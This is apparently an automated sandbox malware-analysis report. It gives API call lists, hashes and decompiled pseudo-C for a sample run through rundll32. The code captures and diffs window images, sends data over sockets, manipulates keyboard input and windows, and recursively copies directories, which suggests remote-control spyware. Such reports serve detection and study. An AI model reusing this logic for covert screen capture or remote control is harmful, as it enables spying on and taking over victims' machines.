0x04a060ec
0x04a060ef
0x00000000
0x00000000
0x04a060f5
0x04a060fa
0x04a060fc
0x04a06100
0x04a0610b
0x04a0610d
0x04a06117
0x04a06119
0x04a0610f
0x04a0610f
0x04a0610f
0x04a0611d
0x04a0612b
0x04a0612f
0x04a0613d
0x04a06141
0x04a06147
0x04a0614f
0x04a06159
0x04a0615f
0x04a06163
0x04a0616a
0x04a0616e
0x04a06172
0x04a06174
0x04a06205
0x04a06205
0x04a0620a
0x04a0620d
0x04a06210
0x00000000
0x00000000
0x04a06216
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x04a0617a
0x04a0617a
0x04a0617e
0x04a06180
0x04a06184
0x04a06186
0x04a06188
0x04a061c6
0x04a061c6
0x04a061c8
0x04a061fd
0x00000000
0x04a06201
0x04a061ca
0x04a061ce
0x04a061d6
0x04a061e0
0x04a061e6
0x04a061f7
0x04a061f7
0x04a061f9
0x00000000
0x04a061f9
0x04a0618a
0x04a06190
0x04a06193
0x04a06199
0x04a0619b
0x00000000
0x00000000
0x04a061a1
0x04a061a6
0x04a061bb
0x04a061bb
0x00000000
0x04a061bf
0x04a061af
0x04a061b1
0x04a061b3
0x00000000
0x00000000
0x04a061b5
0x04a061b5
0x04a0621d
0x00000000
0x04a0621d
0x00000000
0x04a062a7
0x04a062ab
0x04a062b3
0x04a062b6
0x04a062be
0x04a062c0
0x00000000
0x00000000
0x00000000
0x00000000
0x04a062cb
0x04a062d5
0x04a062df
0x04a062e2
0x04a0634c
0x04a0634f
0x04a063f0
0x04a063f0
0x04a063f2
0x04a063f7
0x04a063f9
0x04a063fb
0x04a063ff
0x04a06401
0x04a0642e
0x04a0642e
0x04a06432
0x04a06434
0x04a06439
0x04a0643b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x04a06403
0x04a06403
0x04a06406
0x04a0640c
0x04a0640e
0x00000000
0x00000000
0x04a06410
0x04a06415
0x00000000
0x00000000
0x04a0641e
0x04a06420
0x04a06422
0x00000000
0x00000000
0x04a06424
0x04a06424
0x04a0642a
0x00000000
0x04a0642a
0x04a06355
0x04a06358
0x00000000
0x00000000
0x04a0635e
0x04a06361
0x00000000
0x00000000
0x04a06367
0x04a0636a
0x04a0638b
0x04a0638b
0x04a0638d
0x04a0638f
0x04a06393
0x04a06395
0x04a063c2
0x04a063c2
0x00000000
0x00000000
0x00000000
0x00000000
0x04a06397
0x04a06397
0x04a0639a
0x04a063a0
0x04a063a2
0x00000000
0x00000000
0x04a063a4
0x04a063a9
0x00000000
0x00000000
0x04a063b2
0x04a063b4
0x04a063b6
0x00000000
0x00000000
0x04a063b8
0x04a063b8
0x04a063be
0x00000000
0x04a063be
0x04a0636c
0x04a0636f
0x00000000
0x00000000
0x04a06371
0x04a06375
0x04a06375
0x04a06377
0x04a06383
0x04a06383
0x00000000
0x04a06377
0x04a062e4
0x04a062e8
0x04a062ed
0x00000000
0x00000000
0x04a062f3
0x04a062f7
0x04a062fe
0x04a06302
0x04a06309
0x04a0630b
0x04a06318
0x00000000
0x00000000
0x04a06442
0x04a06446
0x04a0644a
0x04a06454
0x04a0645e
0x04a06463
0x04a06469
0x04a0646c
0x00000000
0x00000000
0x04a06472
0x04a06474
0x04a06479
0x04a0647b
0x04a06481
0x04a06487
0x04a06489
0x00000000
0x00000000
0x04a0648f
0x04a06496
0x04a064a3
0x04a064a9
0x04a064ab
0x04a064b1
0x04a064b9
0x04a064bb
0x04a064de
0x04a064bd
0x04a064c8
0x04a064c8
0x04a064bb
0x00000000
0x00000000
0x04a064e9
0x04a064ed
0x04a064f1
0x04a064f6
0x04a064fc
0x00000000
0x00000000
0x04a06507
0x04a0650a
0x00000000
0x00000000
0x04a06510
0x04a06514
0x04a06516
0x04a063d4
0x04a063d4
0x04a063d9
0x04a0631e
0x04a0631e
0x04a06323
0x04a06330
0x04a06330
0x04a06345
0x04a06346
0x00000000
0x04a06346
0x04a063e3
0x04a063e9
0x04a063ea
0x00000000
0x04a063ea
0x04a0651c
0x04a0652a
0x04a0653c
0x04a06555
0x00000000
0x00000000
0x04a06223
0x04a06223
0x04a06227
0x04a0622b
0x00000000
0x00000000
0x04a063c7
0x04a063c7
0x00000000
0x00000000
0x04a06271
0x04a06271
0x04a06275
0x00000000
0x00000000
0x04a0627f
0x04a0627f
0x04a0627f
0x00000000
0x00000000
0x04a06231
0x04a06231
0x04a06235
0x04a06239
0x00000000
0x00000000
0x04a06245
0x04a06245
0x04a06249
0x04a0624d
0x04a06251
0x04a06255
0x00000000
0x00000000
0x04a0625b
0x04a0625b
0x04a0625f
0x04a06263
0x04a06267
0x00000000
0x00000000
0x04a0623f
0x04a0623f
0x04a06283
0x04a06283
0x04a06287
0x04a0628a
0x04a06292
0x04a06298
0x00000000
0x00000000
0x04a0626d
0x04a0626d
0x00000000
0x00000000
0x04a0627b
0x04a0627b
0x00000000
0x00000000
0x04a060d1
0x04a060cb
0x04a05f74
0x04a05f79
0x00000000
0x04a06757
0x04a0675d
0x04a0676c
0x04a06771
0x04a06774
0x00000000
0x04a05f50
0x04a05edd
0x04a05ee3
0x04a05eea
0x04a05eef
0x04a05ef4
0x00000000
0x00000000
0x00000000
0x04a05ef4
0x00000000
0x04a05ea0
0x04a05e50
0x00000000
0x04a05dd0
0x04a0677c
0x04a0677e
0x04a0678c
0x04a0678c

APIs

htons.WS2_32 ref: 04A05D0A
socket.WS2_32(00000002,00000001,00000006), ref: 04A05D1B
connect.WS2_32(00000000,?,00000010), ref: 04A05D37
closesocket.WS2_32(00000000), ref: 04A05D42
send.WS2_32(00000000,?,00000022,00000000), ref: 04A05DA5
send.WS2_32(00000000,?,00000004,00000000), ref: 04A05E55
GetKeyboardLayoutList.USER32(00000005,?), ref: 04A05E86
send.WS2_32(00000000,?,00000014,00000000), ref: 04A05EA5

Part of subcall function 04A01760: select.WS2_32(?,?,?,?), ref: 04A01799
Part of subcall function 04A01760: recv.WS2_32(?,?,?,00000000), ref: 04A017B5

CreateThread.KERNEL32 ref: 04A05F11
WindowFromPoint.USER32(?), ref: 04A06053

Part of subcall function 04A0A270: PtInRect.USER32(04A163A4,?,?), ref: 04A0A291

GetParent.USER32(00000000), ref: 04A06077

Part of subcall function 04A0A270: GetClassNameW.USER32 ref: 04A0A2B3
Part of subcall function 04A0A270: lstrcmpW.KERNEL32(?,?,?), ref: 04A0A2D1

SendMessageTimeoutA.USER32(00000000,00000084,00000000,?,00000002,000003E8,?), ref: 04A060AD
GetWindowRect.USER32 ref: 04A06141
GetWindowLongA.USER32 ref: 04A06193
GetParent.USER32(?), ref: 04A061A9
ScreenToClient.USER32 ref: 04A061E0
MoveWindow.USER32(00000001,?,?,?,?,00000001), ref: 04A06292
GetWindowLongA.USER32 ref: 04A06406
GetParent.USER32(00000000), ref: 04A06418
IsWindow.USER32(00000000), ref: 04A06481
GetWindowPlacement.USER32(00000000,?), ref: 04A064A3
PostMessageW.USER32(00000000,00000112,0000F120,00000000), ref: 04A064C8
WindowFromPoint.USER32(00000000,00000000), ref: 04A06571
GetWindowThreadProcessId.USER32(00000000,?), ref: 04A065BF
GetKeyboardLayout.USER32 ref: 04A065CE
ActivateKeyboardLayout.USER32(00000000,00000000), ref: 04A065DF
VkKeyScanExA.USER32 ref: 04A065F7
GetKeyboardState.USER32(?), ref: 04A06611
ToAscii.USER32(?,?,?,?,00000000), ref: 04A06685
ScreenToClient.USER32 ref: 04A066E1
ChildWindowFromPoint.USER32(00000000,?,?), ref: 04A066F0
ScreenToClient.USER32 ref: 04A0670C
ChildWindowFromPoint.USER32(00000000,?,?), ref: 04A0671B
PostMessageA.USER32 ref: 04A06739

Strings

,, xrefs: 04A06496

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Window$FromKeyboardPoint$ClientLayoutMessageParentScreensend$ChildLongPostRectThread$ActivateAsciiClassCreateListMoveNamePlacementProcessScanSendStateTimeoutclosesocketconnecthtonslstrcmprecvselectsocket
String ID: ,
API String ID: 3440745862-3772416878
Opcode ID: 6ed701cd04159252c47c070017d4b937a1803e034d42884e60e49fef16032f0f
Instruction ID: f08ab3b5a7969429c2efd8deed02b2e8c90a95e93f34bcd85c0d45f7219a730d
Opcode Fuzzy Hash: 6ed701cd04159252c47c070017d4b937a1803e034d42884e60e49fef16032f0f
Instruction Fuzzy Hash: 3042C2B5A083109FD724CF28E944BAEBBF4EB98708F04851DF885972D0D775E856CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04A0A850 Relevance: 49.8, APIs: 33, Instructions: 345
windowmemorystringCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E04A0A850(short __ecx) {
				signed int _v44;
				long _v48;
				short _v52;
				struct tagRECT _v68;
				struct HDC__* _v72;
				int _v76;
				int _v80;
				int _v84;
				struct HDC__* _v88;
				struct HDC__* _v92;
				int _v96;
				int _v100;
				intOrPtr _v104;
				struct HDC__* _v120;
				signed int _v124;
				short _v128;
				int _v132;
				intOrPtr* _v136;
				void* _t73;
				long _t74;
				signed int _t75;
				long _t76;
				struct HDC__* _t80;
				struct HWND__* _t81;
				signed int _t87;
				void* _t91;
				intOrPtr* _t93;
				void* _t96;
				void* _t98;
				void* _t99;
				intOrPtr _t110;
				signed int _t111;
				void* _t120;
				void* _t131;
				int _t133;
				struct HDC__* _t136;
				signed char _t137;
				struct HDC__* _t139;
				signed int _t141;
				intOrPtr _t143;
				signed int _t145;
				void* _t152;
				void* _t153;
				void* _t155;
				signed int _t157;
				int _t164;
				struct HDC__* _t165;
				intOrPtr _t167;
				void* _t168;
				char _t171;
				long _t174;
				signed int _t175;
				struct HDC__* _t176;
				int _t178;
				int _t179;
				void* _t180;
				struct HWND__* _t183;
				int _t184;
				intOrPtr _t186;
				int _t187;
				void* _t189;
				void* _t208;
				void* _t213;

				_t165 =  *0x4a1a6b4;
				_v52 = __ecx;
				_t186 =  *0x4a163f4; // 0x0
				if(_t165 != 0) {
					L2:
					_t136 =  *0x4a17764; // 0x0
					_v72 = _t136;
					if(_t136 != 0) {
						L5:
						_t73 =  *0x4a1776c; // 0x0
						_v68.top = _t73;
						if(_t73 != 0) {
							L9:
							_t141 =  *0x4a16574; // 0x0
							_t74 =  *(0x4a176a0 + _t141 * 4) & 0x0000ffff;
							_v68.left = _t74;
							_t75 =  *(0x4a176a2 + _t141 * 4) & 0x0000ffff;
							_v76 = _t75;
							_t76 =  *0x4a1a6b0;
							_v48 = _t74;
							_v44 = _t75;
							if(_t76 != 0) {
								L11:
								SelectObject(_t136, _t76);
								_t178 = _v84;
								Rectangle(_t136, 0, 0, _v76, _t178);
							} else {
								_t76 = CreateSolidBrush(_t76);
								 *0x4a1a6b0 = _t76;
								if(_t76 == 0) {
									_t178 = _v80;
								} else {
									goto L11;
								}
							}
							if(_t186 == 0) {
								_v88 =  *0x4a1a6b4;
								_t80 =  *0x4a17764; // 0x0
								_v84 = _t80;
								_t81 = GetTopWindow(0);
								if(_t81 != 0) {
									_t183 = GetWindow(_t81, 1);
									if(_t183 != 0) {
										_t139 = _v88;
										do {
											if(IsWindowVisible(_t183) != 0) {
												if(GetWindowRect(_t183,  &_v68) != 0) {
													_t176 = CreateCompatibleDC(_t139);
													_t189 = CreateCompatibleBitmap(_t139, _v68.top - _v72, _v68.right - _v68.left);
													_t120 = SelectObject(_t176, _t189);
													__imp__PrintWindow(_t183, _t176,  *0x4a15000);
													if(_t120 != 0) {
														BitBlt(_v120, _v104 -  *0x4a16418, _v100, _v96 - _v104, _v92 - _v100, _t176, 0, 0, 0x40cc0020);
													}
													DeleteObject(_t189);
													DeleteDC(_t176);
												}
												_t110 =  *0x4a15000; // 0x2
												_t157 = 0 | _t110 == 0x00000000;
												if(_t110 == 0) {
													if(_t157 != 0) {
														goto L28;
													}
												} else {
													if(GetClassNameW(_t183,  &_v52, 0xa) == 6 && lstrcmpW( &_v52,  *0x4a1679c) == 0) {
														L28:
														_t111 = GetWindowLongA(_t183, 0xffffffec);
														if((_t111 & 0x02000000) == 0) {
															SetWindowLongA(_t183, 0xffffffec, _t111 | 0x02000000);
														}
													}
												}
											}
											_t183 = GetWindow(_t183, 3);
										} while (_t183 != 0);
										_t136 = _v100;
									}
								}
							} else {
								BitBlt( *0x4a17764,  *0x4a16418, 0, _v96, _t178, GetDC(0), 0, 0, 0xcc0020);
							}
							SelectObject(_t136,  *0x4a17768);
							_t143 =  *0x4a165e8; // 0x0
							_t167 =  *0x4a165e4; // 0x0
							_t168 = _t167 -  *0x4a16418;
							_t40 = _t143 + 2; // 0x2
							_t41 = _t168 + 2; // -77685782
							_t42 = _t168 - 2; // -77685786
							Rectangle(_t136, _t42, _t143 - 2, _t41, _t40);
							_t145 = _v124;
							_t179 = 1;
							_t87 = _v132;
							 *0x4a16550 = _t87;
							 *0x4a1654c = _t145;
							 *0x4a1655c = _t87 * _t145 + _t87 * _t145 * 2;
							_t91 =  *0x4a16424; // 0x0
							_t174 = ( *0x4a17488 & 0x0000ffff) * ( *0x4a1748a & 0x0000ffff) + ( *0x4a17488 & 0x0000ffff) * ( *0x4a1748a & 0x0000ffff) * 2;
							if(_t91 == 0) {
								_t98 =  *0x4a1653c; // 0x0
								if(_t98 != 0) {
									VirtualFree(_t98, 0, 0x8000);
								}
								_t99 =  *0x4a1641c; // 0x0
								if(_t99 != 0) {
									VirtualFree(_t99, 0, 0x8000);
								}
								 *0x4a16424 = VirtualAlloc(0, _t174, 0x3000, 4);
								 *0x4a1653c = VirtualAlloc(0, _t174, 0x3000, 4);
								 *0x4a1641c = VirtualAlloc(0, _t174, 0x3000, 4);
								_t179 = 0;
								_t91 =  *0x4a16424; // 0x0
							}
							GetDIBits(_t136, _v120, 0, _v132, _t91, 0x4a16548, 0);
							_t93 = _v136;
							 *_t93 = 0;
							 *((short*)(_t93 + 4)) = _v132;
							 *((short*)(_t93 + 6)) = _v128;
							if(_t179 == 0) {
								E04A01000( *0x4a1653c,  *0x4a16424,  *0x4a1655c);
								goto L51;
							} else {
								_t96 = 0;
								_t187 = 1;
								_t208 =  *0x4a1655c - _t96; // 0x0
								if(_t208 <= 0) {
									goto L49;
								} else {
									asm("o16 nop [eax+eax]");
									do {
										_t180 =  *0x4a16424; // 0x0
										_t137 =  *((intOrPtr*)(_t180 + _t96 + 2));
										if(( *(_t180 + _t96) & 0x0000ffff) + (_t137 & 0x000000ff) == 0) {
											 *((char*)(_t180 + _t96 + 2)) = _t137 + 1;
											_t180 =  *0x4a16424; // 0x0
										}
										_t152 =  *0x4a1653c; // 0x0
										_t175 =  *(_t180 + _t96) & 0x0000ffff;
										_t171 =  *((intOrPtr*)(_t180 + _t96 + 2));
										if(_t175 !=  *(_t152 + _t96) || _t171 !=  *((intOrPtr*)(_t152 + _t96 + 2))) {
											_t187 = 0;
										} else {
											 *(_t180 + _t96) = 0;
											_t155 =  *0x4a16424; // 0x0
											 *((char*)(_t155 + _t96 + 2)) = 0;
											_t152 =  *0x4a1653c; // 0x0
										}
										 *(_t152 + _t96) = _t175;
										_t153 =  *0x4a1653c; // 0x0
										 *((char*)(_t153 + _t96 + 2)) = _t171;
										_t96 = _t96 + 3;
										_t213 = _t96 -  *0x4a1655c; // 0x0
									} while (_t213 < 0);
									if(_t187 == 0) {
										L51:
										return 1;
									} else {
										goto L49;
									}
								}
							}
						} else {
							_t164 =  *0x4a17488 & 0x0000ffff;
							_t184 =  *0x4a1748a & 0x0000ffff;
							if(_t184 + _t164 == 0) {
								goto L49;
							} else {
								_t131 = CreateCompatibleBitmap(_t165, _t164, _t184);
								 *0x4a1776c = _t131;
								if(_t131 == 0) {
									goto L49;
								} else {
									SelectObject( *0x4a17764, _t131);
									_t136 =  *0x4a17764; // 0x0
									_t133 =  *0x4a1776c; // 0x0
									_v92 = _t136;
									_v84 = _t133;
									goto L9;
								}
							}
						}
					} else {
						_t136 = CreateCompatibleDC(_t165);
						_v76 = _t136;
						 *0x4a17764 = _t136;
						if(_t136 == 0) {
							goto L49;
						} else {
							_t165 =  *0x4a1a6b4;
							goto L5;
						}
					}
				} else {
					_t165 = GetDC(0);
					 *0x4a1a6b4 = _t165;
					if(_t165 == 0) {
						L49:
						return 0;
					} else {
						goto L2;
					}
				}
			}

0x04a0a853
0x04a0a859
0x04a0a85f
0x04a0a86f
0x04a0a885
0x04a0a885
0x04a0a88b
0x04a0a891
0x04a0a8b4
0x04a0a8b4
0x04a0a8bf
0x04a0a8c5
0x04a0a918
0x04a0a918
0x04a0a91e
0x04a0a928
0x04a0a92c
0x04a0a936
0x04a0a93a
0x04a0a93f
0x04a0a943
0x04a0a949
0x04a0a95b
0x04a0a95d
0x04a0a95f
0x04a0a96d
0x04a0a94b
0x04a0a94c
0x04a0a952
0x04a0a959
0x04a0a975
0x00000000
0x00000000
0x00000000
0x04a0a959
0x04a0a97b
0x04a0a9ae
0x04a0a9b2
0x04a0a9b9
0x04a0a9bd
0x04a0a9c5
0x04a0a9d6
0x04a0a9da
0x04a0a9e0
0x04a0a9e4
0x04a0a9ed
0x04a0aa01
0x04a0aa12
0x04a0aa29
0x04a0aa2d
0x04a0aa3b
0x04a0aa43
0x04a0aa71
0x04a0aa71
0x04a0aa78
0x04a0aa7f
0x04a0aa85
0x04a0aa8b
0x04a0aa94
0x04a0aa99
0x04a0aac7
0x00000000
0x00000000
0x04a0aa9b
0x04a0aaac
0x04a0aac9
0x04a0aacc
0x04a0aad7
0x04a0aae2
0x04a0aae2
0x04a0aad7
0x04a0aaac
0x04a0aa99
0x04a0aaed
0x04a0aaef
0x04a0aaf7
0x04a0aaf7
0x04a0a9da
0x04a0a97d
0x04a0a99e
0x04a0a99e
0x04a0ab02
0x04a0ab08
0x04a0ab0e
0x04a0ab14
0x04a0ab1a
0x04a0ab21
0x04a0ab26
0x04a0ab2b
0x04a0ab31
0x04a0ab35
0x04a0ab3a
0x04a0ab3e
0x04a0ab46
0x04a0ab56
0x04a0ab65
0x04a0ab6a
0x04a0ab6f
0x04a0ab71
0x04a0ab7e
0x04a0ab88
0x04a0ab88
0x04a0ab8a
0x04a0ab91
0x04a0ab9b
0x04a0ab9b
0x04a0abb9
0x04a0abca
0x04a0abd1
0x04a0abd6
0x04a0abd8
0x04a0abd8
0x04a0abf0
0x04a0abf6
0x04a0abfc
0x04a0ac02
0x04a0ac0a
0x04a0ac10
0x04a0acbf
0x00000000
0x04a0ac16
0x04a0ac16
0x04a0ac18
0x04a0ac1d
0x04a0ac23
0x00000000
0x04a0ac25
0x04a0ac25
0x04a0ac30
0x04a0ac30
0x04a0ac36
0x04a0ac43
0x04a0ac47
0x04a0ac4b
0x04a0ac4b
0x04a0ac51
0x04a0ac57
0x04a0ac5b
0x04a0ac63
0x04a0ac84
0x04a0ac6b
0x04a0ac6d
0x04a0ac71
0x04a0ac77
0x04a0ac7c
0x04a0ac7c
0x04a0ac86
0x04a0ac8a
0x04a0ac90
0x04a0ac94
0x04a0ac97
0x04a0ac97
0x04a0aca1
0x04a0acca
0x04a0acd3
0x00000000
0x00000000
0x00000000
0x04a0aca1
0x04a0ac23
0x04a0a8c7
0x04a0a8c7
0x04a0a8ce
0x04a0a8da
0x00000000
0x04a0a8e0
0x04a0a8e3
0x04a0a8e9
0x04a0a8f0
0x00000000
0x04a0a8f6
0x04a0a903
0x04a0a905
0x04a0a90b
0x04a0a910
0x04a0a914
0x00000000
0x04a0a914
0x04a0a8f0
0x04a0a8da
0x04a0a893
0x04a0a89a
0x04a0a89c
0x04a0a8a0
0x04a0a8a8
0x00000000
0x04a0a8ae
0x04a0a8ae
0x00000000
0x04a0a8ae
0x04a0a8a8
0x04a0a871
0x04a0a875
0x04a0a877
0x04a0a87f
0x04a0aca3
0x04a0acac
0x00000000
0x00000000
0x00000000
0x04a0a87f

APIs

GetDC.USER32(00000000), ref: 04A0A873
CreateCompatibleDC.GDI32(?), ref: 04A0A894
CreateCompatibleBitmap.GDI32(?,?,77A26910), ref: 04A0A8E3
SelectObject.GDI32(00000000), ref: 04A0A903
CreateSolidBrush.GDI32(?), ref: 04A0A94C
SelectObject.GDI32(00000000,?), ref: 04A0A95D
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 04A0A96D
GetDC.USER32(00000000), ref: 04A0A988
BitBlt.GDI32(00000000,?,?,00000000,?,00000000), ref: 04A0A99E
GetTopWindow.USER32(00000000), ref: 04A0A9BD
GetWindow.USER32(00000000,00000001), ref: 04A0A9D4
IsWindowVisible.USER32 ref: 04A0A9E5
GetWindowRect.USER32 ref: 04A0A9F9
CreateCompatibleDC.GDI32(?), ref: 04A0AA08
CreateCompatibleBitmap.GDI32(?,?,?), ref: 04A0AA23
SelectObject.GDI32(00000000,00000000), ref: 04A0AA2D
PrintWindow.USER32(00000000,00000000,?,00000000), ref: 04A0AA3B
BitBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,40CC0020), ref: 04A0AA71
DeleteObject.GDI32(00000000), ref: 04A0AA78
DeleteDC.GDI32(00000000), ref: 04A0AA7F
GetClassNameW.USER32 ref: 04A0AAA3
lstrcmpW.KERNEL32(?,?,00000000), ref: 04A0AAB9
GetWindowLongA.USER32 ref: 04A0AACC
SetWindowLongA.USER32 ref: 04A0AAE2
GetWindow.USER32(00000000,00000003), ref: 04A0AAEB
SelectObject.GDI32(00000000), ref: 04A0AB02
Rectangle.GDI32(00000000,-04A1641A,-00000002,-04A16416,00000002), ref: 04A0AB2B
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000), ref: 04A0AB88
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000), ref: 04A0AB9B
VirtualAlloc.KERNEL32(00000000,775FAC70,00003000,00000004,?,00000000), ref: 04A0ABAD
VirtualAlloc.KERNEL32(00000000,775FAC70,00003000,00000004,?,00000000), ref: 04A0ABBE
VirtualAlloc.KERNEL32(00000000,775FAC70,00003000,00000004,?,00000000), ref: 04A0ABCF
GetDIBits.GDI32(00000000,?,00000000,?,00000000,04A16548,00000000), ref: 04A0ABF0

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Window$CreateObjectVirtual$CompatibleSelect$Alloc$BitmapDeleteFreeLongRectangle$BitsBrushClassNamePrintRectSolidVisiblelstrcmp
String ID:
API String ID: 664480546-0
Opcode ID: 7a8184ef298a7eeb8e8ab66ae9d4f9df1557398e616a31a0df40f129d0cfa2e4
Instruction ID: 6c1f46914f1162c8211738417c425765443d0fbe6c457a6afcb232dfab77afbf
Opcode Fuzzy Hash: 7a8184ef298a7eeb8e8ab66ae9d4f9df1557398e616a31a0df40f129d0cfa2e4
Instruction Fuzzy Hash: B8D16A75605301AFE724DF65ED44F2B7BE8EBA8710F058419FA41E72A0E778AC42CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04A03AA0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 202
filestringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E04A03AA0(WCHAR* __ecx, intOrPtr __edx) {
				int _t76;
				signed int _t77;
				short* _t82;
				short* _t88;
				intOrPtr* _t91;
				int _t93;
				signed int _t103;
				WCHAR* _t117;
				WCHAR* _t118;
				intOrPtr* _t119;
				WCHAR* _t120;
				signed int _t135;
				WCHAR* _t140;
				signed int* _t142;
				WCHAR** _t143;
				signed int _t144;
				signed int _t145;
				intOrPtr* _t146;
				void* _t147;
				intOrPtr* _t148;
				void* _t149;
				void* _t150;
				void* _t151;

				_t140 = __ecx;
				 *((intOrPtr*)(_t149 + 0x18)) = __edx;
				 *((intOrPtr*)(_t149 + 0x20)) = __ecx;
				_t76 = GetFileAttributesW(__ecx);
				if(_t76 == 0xffffffff || (_t76 & 0x00000010) == 0) {
					L36:
					return _t76;
				} else {
					_t77 = lstrlenW(_t140);
					_t148 =  *((intOrPtr*)(_t149 + 0x69c));
					_t144 = _t77;
					 *(_t149 + 0x14) = _t144;
					if(_t148 == 0 || _t140 == 0) {
						L16:
						E04A01000(_t149 + 0x274, _t140, _t144 + _t144);
						_t118 =  *(_t149 + 0x24);
						_t82 = _t149 + 0x27e + _t144 * 2;
						_t150 = _t149 + 0xc;
						 *((intOrPtr*)(_t150 + 0x14)) = _t82;
						 *_t82 = 0x2a;
						 *((short*)(_t150 + 0x270 + _t144 * 2)) = 0x5c;
						 *((short*)(_t150 + 0x278 + _t144 * 2)) = 0;
						_t145 = lstrlenW(_t118);
						E04A01000(_t150 + 0x478, _t118, _t145 + _t145);
						 *((short*)(_t150 + 0x484 + _t145 * 2)) = 0x5c;
						_t142 =  *(_t150 + 0x69c);
						_t88 = _t150 + 0x486 + _t145 * 2;
						 *((intOrPtr*)(_t150 + 0x24)) = _t88;
						_t151 = _t150 + 0xc;
						 *_t88 = 0;
						if( *((intOrPtr*)(_t151 + 0x688)) == 0 && _t142 != 0) {
							 *_t142 =  *_t142 | CreateDirectoryW(_t118, 0);
						}
						_t76 = FindFirstFileW(_t151 + 0x274, _t151 + 0x20);
						 *(_t151 + 0x1c) = _t76;
						if(_t76 == 0) {
							goto L36;
						} else {
							_t119 =  *((intOrPtr*)(_t151 + 0x694));
							_t146 =  *((intOrPtr*)(_t151 + 0x68c));
							_t91 = lstrcatW;
							do {
								if(( *(_t151 + 0x20) & 0x00000010) == 0) {
									if(_t146 != 0) {
										 *_t146 =  *_t146 +  *((intOrPtr*)(_t151 + 0x40));
										_t91 = lstrcatW;
										asm("adc [esi+0x4], ecx");
									}
									if( *((intOrPtr*)(_t151 + 0x688)) == 0) {
										 *((short*)( *((intOrPtr*)(_t151 + 0x14)))) = 0;
										 *_t91(_t151 + 0x274, _t151 + 0x4c);
										 *((short*)( *((intOrPtr*)(_t151 + 0x18)))) = 0;
										lstrcatW(_t151 + 0x47c, _t151 + 0x4c);
										_t103 = CopyFileW(_t151 + 0x278, _t151 + 0x47c, 0);
										if(_t142 != 0) {
											 *_t142 =  *_t142 | _t103;
										}
										if(_t103 != 0 && ( *(_t151 + 0x20) & 0x00000007) != 0) {
											SetFileAttributesW(_t151 + 0x47c, 0x80);
										}
									}
									if(_t119 != 0) {
										 *_t119( *((intOrPtr*)(_t151 + 0x69c)), _t146);
										_t151 = _t151 + 8;
									}
								} else {
									if( *(_t151 + 0x4c) != 0x2e) {
										 *((short*)( *((intOrPtr*)(_t151 + 0x14)))) = 0;
										 *_t91(_t151 + 0x274, _t151 + 0x4c);
										 *((short*)( *((intOrPtr*)(_t151 + 0x18)))) = 0;
										lstrcatW(_t151 + 0x47c, _t151 + 0x4c);
										_push(_t148);
										_push( *((intOrPtr*)(_t151 + 0x69c)));
										_push(_t119);
										_push(_t142);
										_push(_t146);
										_push( *((intOrPtr*)(_t151 + 0x69c)));
										E04A03AA0(_t151 + 0x288, _t151 + 0x480);
										_t151 = _t151 + 0x18;
									}
								}
								_t93 = FindNextFileW( *(_t151 + 0x20), _t151 + 0x20);
								_t91 = lstrcatW;
							} while (_t93 != 0);
							return FindClose( *(_t151 + 0x1c));
						}
					} else {
						_t7 = _t144 - 1; // -1
						_t135 = _t7;
						if(_t135 <= 0) {
							goto L16;
						} else {
							_t117 =  &(_t140[_t135]);
							while( *_t117 != 0x5c) {
								_t135 = _t135 - 1;
								_t117 = _t117 - 2;
								if(_t135 > 0) {
									continue;
								} else {
									goto L16;
								}
							}
							_t10 =  &(_t117[1]); // 0x2
							_t120 = _t10;
							if(_t120 == 0) {
								goto L16;
							}
							_t147 = 0;
							if( *_t148 <= 0) {
								L15:
								_t144 =  *(_t149 + 0x14);
								goto L16;
							}
							_t143 = _t148 + 4;
							while(1) {
								_t76 = lstrcmpiW(_t120,  *_t143);
								if(_t76 == 0) {
									goto L36;
								}
								_t147 = _t147 + 1;
								_t143 =  &(_t143[1]);
								if(_t147 <  *_t148) {
									continue;
								}
								_t140 =  *(_t149 + 0x1c);
								goto L15;
							}
							goto L36;
						}
					}
				}
			}

0x04a03aaa
0x04a03aac
0x04a03ab1
0x04a03ab5
0x04a03abe
0x04a03d4d
0x04a03d4d
0x04a03acc
0x04a03acd
0x04a03ad3
0x04a03ada
0x04a03adc
0x04a03ae2
0x04a03b35
0x04a03b42
0x04a03b47
0x04a03b52
0x04a03b55
0x04a03b5d
0x04a03b61
0x04a03b6b
0x04a03b74
0x04a03b82
0x04a03b91
0x04a03b9d
0x04a03ba5
0x04a03bac
0x04a03bb1
0x04a03bb5
0x04a03bb8
0x04a03bc2
0x04a03bd0
0x04a03bd0
